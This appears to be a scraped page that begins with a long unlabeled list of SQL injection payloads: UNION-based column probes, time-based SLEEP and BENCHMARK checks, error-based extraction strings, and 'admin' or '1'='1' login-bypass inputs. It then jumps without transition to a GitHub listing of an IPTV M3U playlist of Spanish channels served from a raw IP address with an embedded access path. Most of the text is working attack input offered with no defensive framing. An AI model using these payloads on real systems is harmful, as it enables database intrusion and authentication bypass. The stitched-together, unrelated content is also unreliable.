@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- UNION ALL SELECT NULL-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- UNION ALL SELECT NULL# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# UNION ALL SELECT NULL AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# '-' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
GitHub Repo
https://github.com/Malder21/maldertves.m3u
Malder21/maldertves.m3u
1 #EXTM3U 2 #EXTINF:-1,ES: #0 FHD 3 http://51.91.73.99:25461/spain/XDWu1KatRP/21517 4 #EXTINF:-1,ES: #VAMOS FHD 5 http://51.91.73.99:25461/spain/XDWu1KatRP/21518 6 #EXTINF:-1,ES: 7 Murcia 7 http://51.91.73.99:25461/spain/XDWu1KatRP/21519 8 #EXTINF:-1,ES: 13TV HD 9 http://51.91.73.99:25461/spain/XDWu1KatRP/21520 10 #EXTINF:-1,ES: 24 HORAS 11 http://51.91.73.99:25461/spain/XDWu1KatRP/21521 12 #EXTINF:-1,ES: 25 TV 13 http://51.91.73.99:25461/spain/XDWu1KatRP/21522 14 #EXTINF:-1,ES: 324 Cat 15 http://51.91.73.99:25461/spain/XDWu1KatRP/21523 16 #EXTINF:-1,ES: 33 17 http://51.91.73.99:25461/spain/XDWu1KatRP/21524 18 #EXTINF:-1,ES: 5RTV Santa Fe 19 http://51.91.73.99:25461/spain/XDWu1KatRP/21525 20 #EXTINF:-1,ES: 7RM FHD 21 http://51.91.73.99:25461/spain/XDWu1KatRP/21526 22 #EXTINF:-1,ES: 8TV Madrid 23 http://51.91.73.99:25461/spain/XDWu1KatRP/21527 24 #EXTINF:-1,ES: A&E FHD 25 http://51.91.73.99:25461/spain/XDWu1KatRP/21528 26 #EXTINF:-1,ES: A3 SERIE FHD 27 http://51.91.73.99:25461/spain/XDWu1KatRP/21530 28 #EXTINF:-1,ES: ACCION HD 29 http://51.91.73.99:25461/spain/XDWu1KatRP/21531 30 #EXTINF:-1,ES: ALCARRIA TV 31 